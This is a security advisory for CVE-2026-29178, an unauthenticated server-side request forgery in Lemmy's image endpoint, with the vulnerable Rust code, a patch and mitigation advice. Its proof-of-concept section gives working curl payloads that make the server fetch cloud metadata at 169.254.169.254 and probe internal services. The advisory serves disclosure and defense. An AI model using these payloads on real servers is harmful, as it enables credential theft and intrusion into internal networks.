CVE-2026-29178 — lemmy_routes
Fix: LemmyNet/lemmy@f47a03fCVE-2026-29178 is a Server-Side Request Forgery (SSRF) vulnerability in lemmy_routes. A fix is available for lemmy_routes — see the affected versions and patch details below.
Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29178.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
lemmy_routesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs.
Affected code
crates/routes/src/images/download.rs, lines 17-40 (get_image function):
pub async fn get_image(
filename: Path<String>,
Query(params): Query<ImageGetParams>,
req: HttpRequest,
context: Data<LemmyContext>,
) -> LemmyResult<HttpResponse> {
let name = &filename.into_inner();
let pictrs_url = context.settings().pictrs()?.url;
let processed_url = if params.file_type.is_none() && params.max_size.is_none() {
format!("{}image/original/{}", pictrs_url, name)
} else {
let file_type = file_type(params.file_type, name);
let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name);
// ...
};
do_get_image(processed_url, req, &context).await
}
The file_type parameter (ImageGetParams.file_type: Option<String>) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's /image/process.{ext} endpoint supports a ?proxy={url} parameter for fetching remote images, an attacker can inject ?proxy=... via file_type to make pict-rs fetch arbitrary URLs.
This endpoint does not require authentication (no LocalUserView extractor).
PoC
# Basic SSRF - make pict-rs fetch AWS metadata endpoint
# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=
# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'
# Scan internal services on the Docker network
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'
# The same issue exists in the image_proxy endpoint, but it requires the
# proxy URL to exist in the remote_image table (RemoteImage::validate check),
# making it harder to exploit.
The response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.
Impact
An unauthenticated attacker can:
- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service
- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)
- Bypass the
RemoteImage::validate()check that protects theimage_proxyendpoint
Suggested Fix
Validate the file_type parameter to only allow alphanumeric characters:
fn file_type(file_type: Option<String>, name: &str) -> String {
let ft = file_type
.unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string());
if ft.chars().all(|c| c.is_alphanumeric()) {
ft
} else {
"jpg".to_string()
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | lemmy_routes | all versions | 0.19.16cargo update -p lemmy_routes --precise 0.19.16 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemmy_routes, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update lemmy_routes to 0.19.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29178 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-29178 in your dependencies?
Find it across crates.io, including transitive dependencies.